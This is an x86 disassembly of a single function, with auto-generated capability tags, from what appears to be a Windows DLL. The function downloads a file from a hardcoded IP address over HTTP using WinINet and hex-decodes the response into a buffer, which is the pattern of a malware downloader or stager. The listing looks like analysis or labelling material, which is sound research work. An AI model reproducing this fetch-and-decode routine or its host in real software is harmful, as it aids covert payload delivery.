Function at 0x10002410
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002247d
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
push 0
push 0
push 0
push 1
push str.User_Agent
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 4
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x38], esi
test esi, esi
jne 0x10002496
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.InternetOpen_failed._Error:
call fcn.10004a40
mov ecx, eax
call fcn.10002a90
push eax
call fcn.10004d10
add esp, 4
xor eax, eax
jmp 0x1000275a
push 0
push 0x80000000
push 0
push 0
push str.http:__154.92.16.100_2024_k.txt
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x100024e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.InternetOpenUrlA_failed._Error:
call fcn.10004a40
mov ecx, eax
call fcn.10002a90
push eax
call fcn.10004d10
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1000275a
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x28]
push ecx
push 0x20000005
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], ecx
lea edi, [eax + 1]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
test edi, edi
je 0x10002585
cmp edi, 0x7fffffff
ja 0x10002776
cmp edi, 0x1000
jb 0x1000255d
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x1000277b
push eax
call dword [sym.imp.mfc140.dll_Ordinal_1507]
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x10002780
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x10002567
push edi
call dword [sym.imp.mfc140.dll_Ordinal_1507]
add esp, 4
push edi
lea esi, [eax + edi]
mov dword [ebp - 0x1c], eax
push 0
push eax
mov dword [ebp - 0x14], esi
call fcn.100090b0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x2c]
mov dword [ebp - 4], 0
push edx
push eax
push ecx
push dword [ebp - 0x30]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x100025c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.InternetReadFile_failed._Error:
call fcn.10004a40
mov ecx, eax
call fcn.10002a90
push eax
call fcn.10004d10
add esp, 4
jmp 0x10002713
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10002713
mov eax, dword [ebp - 0x1c]
mov byte [eax + ecx], 0
mov edi, dword [ebx + 4]
mov ecx, edi
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebx]
sub ecx, edx
shr esi, 1
cmp esi, ecx
jae 0x100025ee
lea eax, [edx + esi]
jmp 0x10002615
jbe 0x10002618
mov eax, dword [ebx + 8]
sub eax, edx
cmp esi, eax
jbe 0x10002604
push ecx
push esi
mov ecx, ebx
call fcn.10005800
jmp 0x10002618
sub esi, ecx
push esi
push 0
push edi
call fcn.100090b0
add esp, 0xc
lea eax, [esi + edi]
mov dword [ebx + 4], eax
mov edx, dword [ebp - 0x1c]
mov ecx, edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002635
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x50]
call fcn.10003900
mov eax, dword [ebx]
xor esi, esi
mov ebx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x40], esi
jbe 0x100026e7
nop
cmp ebx, 0x10
lea eax, [ebp - 0x50]
cmovae eax, edi
mov cl, byte [eax + esi]
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x10002678
sub cl, 0x30
jmp 0x10002692
lea eax, [ecx - 0x61]
cmp al, 5
ja 0x10002684
sub cl, 0x57
jmp 0x10002692
lea eax, [ecx - 0x41]
cmp al, 5
ja 0x10002690
sub cl, 0x37
jmp 0x10002692
xor cl, cl
cmp ebx, 0x10
lea eax, [ebp - 0x50]
cmovae eax, edi
mov dl, byte [eax + esi + 1]
lea eax, [edx - 0x30]
cmp al, 9
ja 0x100026ab
sub dl, 0x30
jmp 0x100026c5
lea eax, [edx - 0x61]
cmp al, 5
ja 0x100026b7
sub dl, 0x57
jmp 0x100026c5
lea eax, [edx - 0x41]
cmp al, 5
ja 0x100026c3
sub dl, 0x37
jmp 0x100026c5
xor dl, dl
shl cl, 4
add cl, dl
mov eax, esi
test eax, eax
jns 0x100026d3
add eax, 1
sar eax, 1
mov edx, dword [ebp - 0x34]
add esi, 2
mov byte [eax + edx], cl
cmp esi, dword [ebp - 0x40]
jb 0x10002660
cmp ebx, 0x10
jb 0x10002713
lea ecx, [ebx + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x10002709
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002780
push ecx
push edi
call fcn.10005edf
add esp, 8
push dword [ebp - 0x30]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
shr esi, 1
test ecx, ecx
je 0x10002758
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000274e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002780
push edx
push ecx
call fcn.10005edf
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005bb7
mov esp, ebp
pop ebp
ret
call fcn.10005780
call fcn.10001780
call fcn.1000bfd9
int3